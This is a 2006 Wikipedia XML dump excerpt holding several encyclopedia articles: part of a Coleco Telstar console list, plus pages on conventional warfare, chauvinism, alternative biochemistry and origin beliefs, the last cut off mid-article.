#'''Telstar Classic''' - (model 6045, [[1976]]) Same as the Telstar, woodgrain case.
#'''Telstar Deluxe''' - ([[1977]]) aka &quot;Video World Of Sports&quot;, same as the Telstar but brown pedestal case with wood panel, made for Canadian market with French and English text.
#'''Telstar Ranger''' - (model 6046, [[1977]]) Four ''PONG'' variants (hockey, handball, tennis, [[jai alai]]) and two gun games(target, [[skeet shooting|skeet]]), black and white plastic case, includes [[revolver]]-style [[light gun]] and separate paddle controllers.
[[Image:Coleco Telstar Alpha.jpg|thumb|right|Telstar Alpha]]
#'''Telstar Alpha''' - (model 6030, [[1977]]) Four ''PONG'' variants, black and white plastic case, fixed paddles.
#'''Telstar Colormatic''' - (model 6130, [[1977]]) Same as the Telstar Alpha but with detached wired paddles as well as color graphics. Uses a [[Texas Instruments]] [[SN76499N]] chip for color.
#'''Telstar Regent''' - (model 6036, [[1977]]) Same as the Telstar Colormatic but no color and black and white case.
#'''Telstar Sportsman''' - ([[1978]]) Similar to Telstar Regent, but with an additional light gun and different setting switches.  &lt;!--The sportsman has 4 games built in and no color. (unverified)--&gt;
#'''Telstar Combat''' - (model 6065, [[1977]]) Four variations on [[Kee Games]]' ''[[Tank (arcade game)|Tank]]'', four fixed joysticks (two per player), uses a [[General Instrument]] [[AY-3-8700]] Tank chip.
#'''Telstar Colortron''' - (model 6135, [[1978]]) Four ''PONG'' variants, in color, built in sound, fixed paddles, uses [[AY-3-8510]] chip.
[[Image:Coleco telstar marksman.jpg|thumb|right|Telstar Marksman]]
#'''[[Coleco Telstar Marksman|Telstar Marksman]]''' - (model 6136, [[1978]]) Four ''PONG'' variants and two gun games in color, larger light gun with removable stock, fixed paddles, uses [[AY-3-8512]] chip.
#'''Telstar Galaxy''' - Separate [[joystick]]s and fixed paddles, uses [[AY-3-8700]] chip.
#'''Telstar Gemini''' - ([[1978]]) Four [[pinball]] games and two light-gun games in color, light gun, two flipper buttons on left and right sides of case, pinball launch button and field adjustment sliders on top, light gun, uses a [[MOS Technology]] [[MPS 7600]] chip.
#'''Telstar Arcade''' - Cartridge-based, triangular case includes light gun, steering wheel with gear shift, and paddles, one on each side. Each cartridge includes a customized [[MOS Technology]] [[MPS-7600]] chip and 3-4 game programs stored in [[Read Only Memory|ROM]].

The large product lineup and the impending fading out of the ''PONG'' machines led Coleco to face near-bankruptcy in [[1980]].

==See also==
{{dedicated video game consoles}}

==External links==
*[http://www.pong-story.com/coleco.htm Coleco Telstar systems, with photos]
*[http://www.classicgaming.com/gamingmuseum/museum.html Telstar and other systems]
*[http://www.thedoteaters.com/play3sta4.htm The Dot Eaters entry] on the history of Telstar and Coleco

[[Category:Coleco consoles]]
[[Category:Dedicated consoles]]
[[Category:First-generation video game consoles]]
[[Category:Monochrome video game consoles]]

[[it:Coleco Telstar]]
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    </revision>
  </page>
  <page>
    <title>Conventional warfare</title>
    <id>7310</id>
    <revision>
      <id>41945550</id>
      <timestamp>2006-03-02T20:24:35Z</timestamp>
      <contributor>
        <username>Uriah923</username>
        <id>270261</id>
      </contributor>
      <comment>reversing HarryPotter's edits. harry, please see the talk page for details.</comment>
      <text xml:space="preserve">{{history of war}}
'''Conventional warfare''' is a form of [[war|warfare]] conducted by using conventional military weapons and battlefield tactics between two or more states in open confrontation. The forces on each side are well-defined, and fight using weapons that primarily target the opposing army. It is normally fought through means other than with [[weapons of mass destruction]], namely [[chemical warfare|chemical]], [[biological warfare|biological]], or [[nuclear weapon|nuclear]] weapons.

The general purpose of conventional warfare is to destroy the opponent's military force, thereby negating his ability to engage in conventional warfare, and forcing him to capitulate. However, the defender may resort to [[unconventional warfare]] in order to achieve his goals.

==History==
===Formation of the state===
{{details|State#Formation_of_the_state}}
The state was first advocated by [[Plato]], then found more acceptance in the consolidation of power under the [[Roman Catholic Church]].  European monarchs then gained power as the Catholic Church was stripped of temporal power and was replaced by the divine right of kings. In [[1648]], the powers of [[Europe]] signed the [[Treaty of Westphalia]] which ended the religious violence for purely political governance and outlook, signifying the birth of the modern 'state.'

Within this statist paradigm, only the state and its appointed representatives were allowed to bear [[arms]] and enter into war.  In fact, war was only understood as a conflict between sovereign states.  [[Monarch|King]]s strengthened this idea and gave it the force of [[law]].  Whereas previously any [[nobility|noble]] could start a war, the monarchs of Europe of necessity consolidated military power in response to the [[Napoleonic war]].

===The Clausewitzian paradigm===
{{details|Carl von Clausewitz}}
[[Prussia]] was one country attempting to amass military power.  Karl von Clausewitz, one of Prussia's officers, wrote ''[[On War]]'', a work rooted solely in the world of the state.  All other forms of intrastate conflict, such as [[rebellion]], are not accounted for because, in theoretical terms, Clausewitz could not account for warfare before the state.  Practices such as raiding or blood feuds were then labeled criminal activities and stripped of legitimacy.  This war paradigm reflected the view of most of the modernized world at the beginning of the [[21st century]], as verified by examination of the conventional armies of the time: large, high maintenance, technologically advanced armies designed to compete against similarly designed forces.

Clausewitz also forwarded the issue of [[casus belli]].  While previous wars were fought for social, religious, even cultural reasons, Clausewitz taught that was is merely &quot;a continuation of politics by other means.&quot;  It is a rational calculation where states fight for their interests (whether they are economic, security related, or otherwise) once normal discourse has broken down.

==Prevalence==
The overwhelming majority of modern wars have been conducted using the means of conventional warfare. Biological warfare has not been used since the [[19th century]] (though it is possible that the recent [[Anthrax disease|anthrax]] attacks in the United States were [[bioterrorism]]), and chemical warfare has been used only a few times. [[nuclear weapon|Nuclear warfare]] has only occurred once with the [[United States]] [[Atomic bombings of Hiroshima and Nagasaki|bombing]] the [[Japan|Japanese]] cities of [[Hiroshima]] and [[Nagasaki]] to end [[World War II]].

==Decline==
The state and Clausewitzian principles peaked in the [[World War]]s of the 20th century, but also laid the groundwork for their dilapidation due to [[nuclear proliferation]] and the manifestation of culturally aligned conflict. The nuclear bomb was the result of the state perfecting its quest to overthrow its competitive duplicates. Ironically, this development seems to have pushed conventional conflict waged by the state to the sidelines. Were two conventional armies to fight, the loser would have redress in its nuclear arsenal. Thus, no two [[nuclear powers]] have yet fought a conventional war, albeit in [[1999]] [[India]] and [[Pakistan]] came close to one in the [[Kargil War]]. Though bording on an allout war and an extended battlezone, it almost saw Pakistan deploying its nuclear arsenal in case of loss.

==Replacement==
Conventional warfare, waged by the state, has become something not worthy of a declaration of war.  Instead, those capable of fighting underneath the nuclear umbrella (supranational [[terrorism|terrorists]], corporate [[mercenaries]], ethnic [[militia]]s, etc.) have now come to dominate the majority of conflict in the [[post-modern]] era.  These conflicts cannot be explained under the statist system.

[[Samuel P. Huntington|Samuel Huntington]] has posited that the world in the early 21st century exists as a system of nine distinct &quot;civilizations,&quot; instead of many sovereign states. These civilizations are delineated along cultural lines, e.g. Western, [[Islam|Islamic]], Sinic, [[Hindu]] etc. In this way, cultures that have long been dominated by the West are reasserting themselves and looking to challenge the status quo.  Thus, [[culture]] has replaced the state as the locus of war.  This kind of civilizational war, in our time as in times long past, occurs where these cultures buffet up against one another.  Some high-profile examples are the Pakistan/India conflict or the battles in the Sudan. This sort of war has defined the field since World War II.

These cultural forces will not contend with state-based armies in the traditional way.  When faced with battalions of tanks, jets, and missiles, the cultural opponent dissolves away into the population.  They benefit from the territorially constrained states, being able to move freely from one country to the next, while states must negotiate with other sovereign states.  The state's spy networks are also severely limited by cultural factors.

==External links==
* {{cite web
 | year = 2004
 | url = http://www.cia.gov/nic/NIC_2020_2004_05_25_intro.html
 | title = Changing Nature of Warfare
 | work = National Intelligence Council
 | publisher = 
 | accessdate = January 30
 | accessyear = 2006
 }}
* {{cite web
 | author = Stathis Kalyvas
 | year = 2003
 | url = http://www.armedgroups.org/index.php?option=content&amp;task=view&amp;id=26
 | title = The Sociology of Civil Wars: Warfare and Armed Groups
 | work = Armed Groups Project
 | accessdate = January 30
 | accessyear = 2006
 }}

[[Category:Warfare]]

[[nl:Conventionele oorlogvoering]]</text>
    </revision>
  </page>
  <page>
    <title>Chauvinism</title>
    <id>7312</id>
    <revision>
      <id>39652338</id>
      <timestamp>2006-02-14T23:14:08Z</timestamp>
      <contributor>
        <ip>70.19.46.17</ip>
      </contributor>
      <text xml:space="preserve">'''Chauvinism''' is extreme and unreasoning partisanship on behalf of a group to which one belongs, especially when the partisanship includes malice and hatred towards a rival group. The term is derived from [[Nicolas Chauvin]], a soldier under [[Napoleon I of France|Napoleon Bonaparte]], due to his fanatical zeal for his [[Emperor]].  [[Nicolas Chauvin]] was wounded 17 times in the [[Napoleonic Wars]] but nevertheless he continued to fight for France.  

The origin and early usage indicate that it was coined to describe excessive [[nationalism]] or [[patriotism]]. An equivalent English term is [[jingoism]].  The term entered public use due to a [[satire|satirical]] treatment of Chauvin in the [[France|French]] [[ play]] ''La Cocarde Tricolore'' (The Three-colored [[Cockade]]).

== Chauvinism as nationalism ==

In &quot;[[Imperialism, Nationalism, Chauvinism]]&quot;, ''[[The Review of Politics]]'', p. 457, [[Hannah Arendt]] describes the concept:

:Chauvinism is an almost natural product of the national concept insofar as it springs directly from the old idea of the &quot;national mission.&quot; ... (A) nation's mission might be interpreted precisely as bringing its light to other, less fortunate peoples that, for whatever reason, have miraculously been left by history without a national mission. As long as this concept did not develop into the ideology of chauvinism and remained in the rather vague realm of national or even nationalistic pride, it frequently resulted in a high sense of responsibility for the welfare of backward peoples.

(See, for example, [[white man's burden]].)

The word does not require a judgment that the chauvinist is right or wrong in his opinion, only that he is blind and unreasoning in coming to it, ignoring any facts which might temper his fervor. In modern use, however, it is often used pejoratively to imply that the chauvinist is both unreasoning and wrong.

==See also==
{{wiktionary}}
* [[Female chauvinism]]
* [[Female dominance]]
* [[Han chauvinism]]
* [[Internationalism (politics)]]
* [[Male chauvinism]]
* [[Male dominance]]
* [[Misandry]]
* [[Misogyny]]
* [[Sexism]]


[[Category:Nationalism]]
[[Category:Prejudices]]

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  <page>
    <title>Alternative biochemistry</title>
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      <contributor>
        <username>Bryan Derksen</username>
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      <comment>references</comment>
      <text xml:space="preserve">'''Alternative biochemistry''' collectively refers to an assortment of [[astrobiology]] theories and hypotheses in which [[life]] can be based on [[biochemistry|biochemical]] systems other than systems based upon [[organic chemistry]], which is used by currently known forms of life.  Proponents of such theories sometimes use the expression ''carbon chauvinism'' to disparage the assumption that [[organic compound]]s based on [[carbon]], which form the basis of organic chemistry, are necessarily the basis for all life. Up to this point, however, no non-[[carbon based life-form]] has been discovered.

== Silicon biochemistry ==
The most common other proposed basis for an alternative biochemical system is the [[silicon]] [[atom]], since silicon has many similar [[chemical property|chemical properties]] to carbon and is in the same [[periodic table group]]. Silicon has a number of handicaps as a carbon analogue, however. Because silicon atoms are much bigger, having a larger [[mass]] and [[atomic radius]], they have difficulty forming double or triple [[covalent bond]]s, which are important for a biochemical system. [[Silane]]s, which are [[compound]]s of [[hydrogen]] and silicon that are analogous to the [[alkane]] [[hydrocarbon|hydrocarbons]], are highly reactive with [[water (molecule)|water]], and long-chain silanes spontaneously decompose. Molecules incorporating [[polymer]]s of alternating silicon and [[oxygen]] atoms instead of direct bonds betwen silicon, known collectively as [[silicone]]s, are much more stable; ordinary sand is one such example. However, [[silicon dioxide]], the analogue of [[carbon dioxide]], is a non-[[soluble]] solid at the temperature range where water is liquid, making it difficult for silicon to be introduced into water-based biochemical systems even if the necessary range of biochemical molecules could be constructed out of it.

In general, complex long-chain silicone molecules are still more unstable than their carbon counterparts.

Finally, of the varieties of molecules identified in [[interstellar medium|interstellar space]] as of [[1998]], 84 are based on carbon and 8 are based on silicon.  Moreover, of the eight Si-based compounds, four also include carbon within them. This suggests a greater variety of complex carbon compounds throughout the cosmos, providing less of a foundation upon which to build silicon-based biologies. The cosmic abundance of carbon to silicon is roughly 10 to 1.

The [[Earth]], as well as other [[terrestrial planets]] is exceptionally silicon-rich and carbon-poor. However, terrestrial life is carbon based. Rare carbon proved to be much more successful as a life base than abundant silicon.

It is possible, however, that silicon compounds may be biologically useful under certain exotic environmental conditions, either in conjunction with or in a role less directly analogous to carbon. A simple real-world example is the silicate skeletal structure of [[diatom]]s.

== Nitrogen and phosphorus biochemistry ==
[[Nitrogen]] and [[phosphorus]] also offer possibilities as the basis for biochemical molecules. Phosphorus can form long chain molecules on its own like carbon, and so potentially could be built up into complex [[macromolecule]]s, but phosphorus is fairly reactive.  In combination with nitrogen, however, it can form much more stable covalent bonds between phosphorus and nitrogen; compounds containing these can form a wide range of molecules, including rings.

Earth's atmosphere is approximately 80% nitrogen, but this would probably not be much use to a P-N lifeform since molecular nitrogen (N&lt;sub&gt;2&lt;/sub&gt;) is nearly inert and energetically expensive to &quot;[[nitrogen fixation|fix]]&quot; due to its triple bond. Certain Earth [[plant]]s such as [[legume]]s can fix nitrogen using [[symbiosis|symbiotic]] [[anaerobe|anaerobic]] [[bacterium|bacteria]] contained within their root nodules. A [[nitrogen dioxide]] (NO&lt;sub&gt;2&lt;/sub&gt;) or [[ammonia]] (NH&lt;sub&gt;3&lt;/sub&gt;) atmosphere would be more useful. Nitrogen also forms a number of oxides, such as [[nitrogen monoxide]], [[dinitrogen oxide]], and dinitrogen tetraoxide, and all would be present in a nitrogen dioxide-rich atmosphere.

In a nitrogen dioxide atmosphere, phosphorus-nitrogen based plant analogues could absorb nitrogen dioxide from the atmosphere and phosphorus from the ground. The nitrogen dioxide would be reduced, with analogues to [[sugar]] being produced in the process, and waste oxygen would be released into the atmosphere. Animals based on phosphorus and nitrogen would consume the plants, use atmospheric oxygen to metabolize the sugar analogues, exhaling nitrogen dioxide and depositing phosphorus, or phosphorus rich material, as solid waste. 

In an ammonia atmosphere, phosphorus-nitrogen based plants would absorb ammonia from the atmosphere and phosphorus from the ground, then oxidize the ammonia to produce phosphorus-nitrogen sugars and release hydrogen waste. P-N animals are now the reducers, breathing in hydrogen and converting the P-N sugars to ammonia and phosphorus. This is the opposite pattern of oxidation and reduction from a nitrogen dioxide world, and indeed from the known biochemistry of Earth; it would be analogous to Earth's atmospheric carbon supply being in the form of [[methane]] instead of [[carbon dioxide]].
Debate continues as several aspects of a phoshorus-nitrogen cycle biology would be energy deficient.

Still, nitrogen and phosphorus are not likely to be found in the ratios and quantity required in the real universe. Carbon, being preferentially formed during nuclear fusion, is more abundant and is more likely to end up in a preferred location.

== Other exotic biochemical elements ==
[[Chlorine]] is sometimes proposed as a biological alternative to [[oxygen]], either in carbon-based biologies or hypothetical non-carbon-based ones. Chlorine is much less abundant than oxygen in the universe, however, and so it is unlikely that a planet will be able to form which has a large enough concentration of chlorine available on its surface to form the basis of a biochemistry. Chlorine will instead likely be bound up in the form of [[salt]]s and other inert compounds.

[[Sulfur]] is also able to form long-chain molecules, but suffers from the same high reactivity problems that phosphorus and silanes do. While the biological use of sulfur as an alternative to carbon is theoretical, strains of [[sulfur-reducing bacteria]] have been discovered in exotic locations on earth. These bacteria can utilize elemental sulfur instead of oxygen, reducing sulfur to [[hydrogen sulfide]]. Examples of this type of metabolism are [[green sulfur bacteria]] and [[purple sulfur bacteria]].

==Non-water solvents==
In addition to carbon compounds all currently known terrestrial life also requires water as a solvent. It is sometimes assumed that water is the only suitable chemical to fill this role. Some of the properties of water that are important for life processes include a large temperature range over which it is liquid, a high heat capacity useful for temperature regulation, a large heat of vaporization, and the ability to dissolve a wide variety of compounds. There are other chemicals with similar properties that have sometimes been proposed as alternatives.

=== Ammonia ===
[[Ammonia]] is perhaps the most commonly proposed alternative. Numerous chemical reactions are possible in an ammonia solution, and liquid ammonia has some chemical similarities with water. Ammonia can dissolve most organic molecules at least as well as water does, and in addition it is capable of dissolving many elemental metals. Given this set of chemical properties it has been theorized that ammonia-based life forms might be possible. 

However, ammonia does have some problems as a basis for life. The [[heat of vaporization]] of ammonia is half that of water and its [[surface tension]] three times smaller. This means that [[hydrogen bonds]] between ammonia molecules will always be much weaker than those in water, so ammonia is less able to concentrate non-polar molecules through a [[hydrophobic]] effect. For this reason, mainstream science questions how well ammonia could hold prebiotic molecules together in order to allow the emergence of a self-reproducing system. Ammonia is also combustible and oxidizable and could not exist sustainably in a biosphere that oxidizes it. It would, however, be stable in a [[reducing environment]].

A [[biosphere]] based on ammonia would likely exist at temperatures or air pressures that are extremely unusual for terrestrial life. Terrestrial life usually exists within the melting point and [[boiling point]] of water at [[normal pressure]], between 0°[[Celsius|C]] (273 [[Kelvin|K]]) and 100°C (373 K); at normal pressure ammonia's melting and boiling points are between &amp;minus;78°C (195 K) and &amp;minus;33°C (240 K). Such extremely cooled temperatures create problems, as they slow biochemical reactions  tremendously and may cause biochemical [[Precipitation (chemistry)|precipitation]] out of solution due to high [[melting point]]s. Ammonia could be a liquid at normal temperatures, but at much higher pressures; for example, at 60 [[Atmosphere (unit)|atm]], ammonia melts at &amp;minus;77°C (196 K) and boils at 98°C (371 K). 

Ammonia and ammonia-water mixtures remain liquid at temperatures far below the freezing point of pure water, so such biochemistries might be well suited to planets and moons orbiting outside the water-based &quot;[[habitability zone]]&quot;. Such conditions could exist, for example, under the surface of [[Saturn (planet)|Saturn]]'s largest moon [[Titan (moon)|Titan]].&lt;ref&gt;[http://www.es.ucl.ac.uk/research/planetaryweb/postgraduate/olddomweb/titan.pdf 404 error] as of 2006-03-02&lt;/ref&gt;

=== Other solvents ===
Other solvents sometimes proposed include [[methanol]], [[hydrogen sulfide]] and [[hydrogen chloride]]. The latter two suffer from a relatively low cosmic abundance of sulfur and chlorine, which tend to be bound up in solid minerals. A mixture of [[hydrocarbon]]s, such as the methane/ethane seas that were once speculated to be present on the surface of Titan, could act as a solvent over a wide range of temperatures but would lack [[polarity]]. [[Isaac Asimov]], the [[biochemist]] and [[science-fiction]] writer, suggested that poly-[[lipids]] could form a substitute for proteins in a non-polar solvent such as methane or [[liquid hydrogen]].&lt;ref&gt;{{cite web|url=http://www.projectrho.com/rocket/rocket3aa.html| title=Aliens| work=Atomic Rockets| accessdate=2006-03-03| format=HTML}}&lt;/ref&gt;

==Artificial life==
{{main|Artificial Life}}

It is possible in principle to construct a [[robot]] or a system of robots that is capable of replicating itself from raw ores and natural energy sources without any external direction or assistance (a &quot;[[clanking replicator]]&quot;). Such a machine system could be considered alive, in that it is capable of [[evolution]] through mutational errors in its inherited design patterns, but is in no way required to be composed of carbon-based compounds. The most detailed proposition for machine life made so far proposed self-replicating [[Moon|lunar]] factories, which would be composed primarily of refined [[metal]] and cast [[basalt]] since the Earth's moon is extremely carbon-poor.

Related to macroscopic machine life is the concept of self-replicating [[nanotechnology]], sometimes referred to as &quot;[[grey goo]]&quot; when it is operating without programmed limitations. Nanotechnology, like larger scale machines, could potentially be made of non-carbon-containing materials (including any of the other elements already mentioned earlier). Both [[diamondoid]] and [[carbon nanotube]]s are also commonly proposed materials for use in nanomachines, forms of carbon not used by life as it is currently known, and furthermore it is often proposed that nanotechnological devices will operate without the water environment that life as it is currently known requires. Any of the other life-bases mentioned previously could also serve as the basis for an artificial life form.

These artificial beings could be made with design features that could not have evolved without the help of previously-evolved carbon-based (or other) beings, since macroscopic machines would need to be designed and originally programmed, while the incredible scarcity of naturally occurring nanotech materials would preclude any sort of evolution of nanomachines.

After being created, these machines could potentially out-compete or destroy their creators if robustly enough designed, replacing the naturally-evolved biosphere with one based on their own biochemistry. They would in a sense inherit the world or civilization of their creators, and be indistinguishable to most outsiders from native beings.  Such an occurrence resembles the [[Intelligent Design]] form of [[creationism]]--intelligent life has been designed by an intelligent creator.

Scientifically, the relevance of this possibility is that high intelligence in a transition species could be the substrate for the development of an &quot;impractical&quot; form of life.  Afterwards, the new form of life might continue to evolve by natural means.  This could be considered as an argument ''for'' carbon [[chauvinism]], or at least for teaching it to any [[artificial life]] forms that human beings may create.

==In fiction==
In the realm of science fiction there have occasionally been forms of life proposed that, while often highly speculative and unsupported by rigorous theoretical examination, are nevertheless interesting and in some cases even somewhat plausible.

One of the major sentient species in [[Terry Pratchett]]'s  [[Discworld (world)|Discworld]] universe is [[Troll (Discworld)|Trolls]]. Their being mineral-based has various interesting effects on their physiology and culture. Trolls eat rocks, which suggests that their biochemistry is similar to that of [[plant]]s. A [[heterotrophic]] silicon-based lifeform could no more eat rock than a carbon-based lifeform could eat coal. However, if they were [[photosynthetic]], like plants, they could utilise  [[silicon dioxide]], which makes up the vast majority of most rock, in the same manner that plants utilise [[carbon dioxide]], to create the silicon/glucose analgoue from which they could derive nourishment. 

[[Fred Hoyle]]'s classic novel ''[[The Black Cloud]]'' features a life form consisting of a vast cloud of interstellar dust, the individual particles of which interact via electromagnetic signalling analogous to how the individual cells of multicellular Earth life interact. On a somewhat less science-fictional level, life in interstellar dust has been proposed as part of the [[panspermia]] hypothesis. The low temperatures and densities of interstellar clouds would seem to imply that life processes would operate much more slowly there than on Earth.

In Forward's ''[[Rocheworld]]'' series, a relatively Earthlike biochemistry is proposed that uses a mixture of water and ammonia as its solvent.

[[Robert L. Forward]]'s ''[[Camelot 30K]]'' describes an ecosystem existing on the surface of [[Kuiper belt object]]s that is based on a [[fluorocarbon]] chemistry with [[Oxygen difluoride|OF&lt;sub&gt;2&lt;/sub&gt;]] as the principal solvent instead of H&lt;sub&gt;2&lt;/sub&gt;O. The organisms in this ecology keep themselves warm by secreting a pellet of [[uranium-235]] inside themselves and then moderating its nuclear fission using a [[boron]]-rich carapace around it. Kuiper belt objects are known to be rich in organic compounds such as [[tholin]]s, so some form of life existing on their surfaces is not entirely implausible - though perhaps not going so far as to develop natural internal nuclear reactors, as have Forward's. Fluorine is also of low cosmic abundance, so its use in this manner is unlikely. 

[[Gregory Benford]]'s ''[[Heart Of The Comet]]'' features a [[comet]] with a conventional carbon-and-water-based ecosystem that becomes active near [[perihelion]] when the Sun warms it.

In ''[[Dragon's Egg]]'' and ''[[Starquake (book)|Starquake]]'', [[Robert Forward]] proposes life on the surface of a [[neutron star]] utilizing &quot;nuclear chemistry&quot; in the [[degenerate matter]] crust. Since such life utilized [[strong nuclear force]]s instead of [[electromagnetic force|electromagnetic interaction]]s, it was posited that life might function millions of times faster than typical on Earth.

[[David Brin]]'s ''[[Sundiver]]'' is an example of science fiction proposing a form of life existing within the [[Plasma physics|plasma]] atmosphere of a [[star]] using complex self-sustaining [[magnetic field]]s. Similar sorts of plasmoid life have sometimes been proposed to exist in other places, such as planetary [[ionosphere]]s or [[interstellar space]], but usually only by fringe theorists (see [[ball lightning]] for some additional discussion). Gregory Benford had a form of plasma-based life exist in the [[accretion disk]] of a [[primordial black hole]] in his novel ''[[Eater (novel)|Eater]]''.

[[Stephen Baxter]] has imagined perhaps some of the most unusual exotic lifeforms in his [[Xeelee]] series of novels and stories, including [[supersymmetric]] [[photino]]-based life that congregate in the gravity wells of stars, and the Qax, who thrive in any form of [[convection cell]]s, from swamp gas to the atmospheres of [[gas giants]].

In his novel ''[[Diaspora (novel)|Diaspora]]'', [[Greg Egan]] posits the existence of entire virtual universes implemented on [[Turing Machine]]s encoded by [[Wang tile|Wang Tiles]] in gargantuan [[polysaccharide]] 'carpets.'

A key plot point in the [[comedy]] ''[[Evolution (film)|Evolution]]'' involves [[nitrogen]]-based life forms, and using [[selenium]]-based [[shampoo]] to poison them (with the bonus of a product placement for [[Head &amp; Shoulders]]).

In ''[[Metroid Prime: Hunters]]'' [[Spire (Metroid)|Spire]] is a rock-like silicon based alien. He is the last [[Diamont]] (presumably a play on the word [[diamond]], which is [[carbon]]).

In the game of ''[[Xenosaga]]'', artifical life forms known as Raelians have been created using silicon-based chemistry.  They resemble humans in every aspect, however they are considered to be &quot;below&quot; humans in the social ladder.

==See also==
*[[Astrobiology]]
*[[Carbon based life]]
*[[Extraterrestrial life]]

==References==
&lt;references/&gt;

==External links==
*[http://www.faqs.org/faqs/astronomy/faq/part6/section-16.html Astronomy FAQ]
*[http://www.daviddarling.info/encyclopedia/A/ammonialife.html Ammonia-based life]
*[http://www.daviddarling.info/encyclopedia/S/siliconlife.html Silicon-based life]

[[Category:Astrobiology]]
[[Category:Biochemistry]]
[[Category:Extraterrestrials]]
[[Category:Science fiction themes]]

[[de:Kohlenstoffchauvinismus]]
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    <title>Creation Myths</title>
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      <text xml:space="preserve">#REDIRECT [[Origin belief]]</text>
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    <title>Creation myths</title>
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  <page>
    <title>Origin belief</title>
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      <contributor>
        <username>John yazzie1963</username>
        <id>940417</id>
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      <comment>/* Navajo */</comment>
      <text xml:space="preserve">An '''origin belief''' is any story or explanation that describes the beginnings of [[first man|humanity]], [[earth]], [[life]], and the [[universe]] ([[cosmogony]]). Such beliefs can be derived from many different venues including [[scientific method|scientific investigation]], [[metaphysics|metaphysical speculation]], or [[religious belief]]. As with any set of [[belief|beliefs]], opinions regarding the validity of particular origins beliefs differ &amp;mdash;[[Point of view|points of view]] on these subjects vary widely. 
&lt;!-- LACKS SUBSTANCE and SPECIFICITY: While many see certain beliefs about origins to be [[proof|disproven]], [[anathema]], or [[probability|improbable]], others do not. Some argue that certain beliefs are necessarily [[mutually exclusive]] while others claim that [[synthesis]] is possible.--&gt;
{{TOCleft}}

==Creation myths==
[[Image:Raven-bill_reid.jpg|thumb|200px|right|[[Bill Reid]]'s  sculpture '''The Raven and The First Men''', showing part of a [[Haida]] creation myth.  The Raven represents the [[Trickster]] figure common to many [[mythologies]].  The work is in the [[University of British Columbia]] Museum of Anthropology, Vancouver.]]
Origins beliefs commonly refer to '''creation myths''' &amp;mdash;
[[mythology|mytho-]][[religion|religious]] stories which explain the beginnings of the universe as a deliberate act of &quot;[[creation]]&quot; by a [[supreme being]]. &quot;Origin belief&quot; may be generalized to include non-religious claims and theories based in contemporary [[science]] or [[philosophy]]&amp;mdash;the [[Big Bang]], [[origin of life]], [[panspermia]] and [[theory of evolution]] fall into this category.

The term ''creation myth'' may be seen as offensive when used to describe stories which are still believed today, as the term ''[[wikt:Myth|myth]]'' may suggest ideas which are absurd or fictional.  These beliefs and stories need not be a literal account of actual events, but may express what are perceived to be truths at a deeper or more symbolic level.  Author [[Daniel Quinn]] notes that in this sense creation myths need not be religious in nature, and they have secular forms in modern cultures.

Many accounts of creation share broadly similar themes. Common motifs include the fractionation of the things of the world from a primordial chaos; the separation of the mother and father [[god]]s; land emerging from an infinite and timeless ocean; and so on.

Some religious groups assert that their accounts of creation should be considered alongside, supersede, or even replace [[science|scientific]] accounts of the development of [[life]] and the [[cosmos]]. This assertion has proven highly controversial (for one example, see [[creation-evolution controversy]]).

==Science-based beliefs==
[[Science]], strictly speaking, deals only with observable phenomena. Anything that cannot be observed (either directly or indirectly) is, by definition, not a subject of scientific investigation. Scientists look for patterns among observations, which give rise to hypotheses to be tested against further observations. If a hypothesis passes these tests, it is then called a [[scientific theory]], which again is subject to amendment or rejection based on new observations.

The ability of scientists to analyse unique and non-recurring events in the distant past (such as the creation of the universe) is limited, because such events cannot be directly observed and are difficult to repeat experimentally. However, science may be able to measure some of the effects of such events (for instance, via the [[cosmic microwave background radiation|microwave echo of the big bang]]) and interpret these observations within a scientific framework.  By [[extrapolation|extrapolating]] the current observed state of affairs into the past, scientists seek to construct an accurate picture of the past. Those who are strict adherents to [[philosophical naturalism]] believe that such is all that is possible to know. This is not a universally accepted idea by any means, and there are many who promote other paths to knowledge which are not characterised as scientific inquiry.  

In [[scientific theories]] supported by the mainstream [[scientific community]], the [[universe]] and life is described as developing through solely [[Nature|natural]] causes, and the progress of science is hoped to continue to improve the explanation of things and events in the past. 

[[Creation science]] is a [[creationism|creationist]] effort to integrate science and [[Abrahamic]] faith by allowing for both [[God]]'s action in the [[natural world]] as generally described by [[creation according to Genesis]] and looking for [[scientific evidence]] which supports the creation account. It is rejected as [[pseudoscience]] by the mainstream scientific community, as the belief in creation is itself taken [[a priori]], and is not able to be scientifically tested.

=== Mainstream scientific theories ===
[[Image:Universe expansion.png|thumb|right|200 px|Graphical rendering of the expansion of the universe due to the [[Big Bang]] with the [[physical paradox|paradoxical]] [[gravitational singularity|singularity]] at the [[origin (mathematics)|origin]] of [[time]].]]
The [[Big Bang]] theory is the dominant cosmological theory about the early development and current shape of the universe. The ultimate origin of the preconditions for the universe is currently a subject of speculation, and some believe it is beyond the bounds of scientific inquiry. The [[solar nebula]] is considered the best planetary system formation model available for explaining the origin of the [[solar system]]. The [[Earth]]-[[moon]] system was formed out of this as described by the [[Giant impact theory]].

The [[modern evolutionary synthesis]] is the dominant biological theory about the [[human evolution|origin of human life]] on Earth. This combines Charles Darwin's theory of the [[evolution]] of [[species]] by [[natural selection]] with [[Gregor Mendel]]'s theory of [[genetics]] as the basis for [[biological inheritance]].

The origin of life itself on Earth is more contested.  Scientific conjectures, hypotheses, and observations pertaining to this topic are detailed in the article on the [[origin of life]].

It should be pointed out that the above [[scientific theories]] are not ''ex nihilo'' beliefs, that is they do not start from nothing.  They provide no mechanism for the origin ''ex nihilo'' of energy or matter.  In this respect they are unlike the Jewish, Christian, and Islamic beliefs which assert that the universe, Earth, and life originated in a unique creative act by God, or scientific speculations which propose an original cause of some other type. For a more precise understanding of modern science's concepts concerning &quot;matter from vacuum&quot; or &quot;something from nothing&quot; see [[virtual particle]] and [[vacuum energy]].

=== Beliefs grounded in philosophical naturalism ===
[[Atomism]] is an ancient Greek philosophy supported by [[Democritus]], [[Epicurus]] and [[Lucretius]] which held that events in the universe were not the consequence of any act by a Creator, but rather was the result of atoms moving about randomly. This philosophy was reformulated as [[determinism]] after the [[The Age of Enlightenment|Enlightenment]] and still enjoys a following by some scientists, though the character of deterministic interactions in nature involving [[quantum mechanics]] is an outstanding question.

The [[Anthropic Principle]] and its more controversial derivative the [[Strong Anthropic Principle]] are explanations for the existence of humanity with respect to the conditions of the universe that we inhabit. The principle is used as a guide for some scientists to determine certain [[physical laws]] that have necessarily resulted in the existence of ourselves. In some sense, the Anthropic Principle is an empirical truism while the Strong Anthropic Principle is an idea that may defy [[falsification]]. 

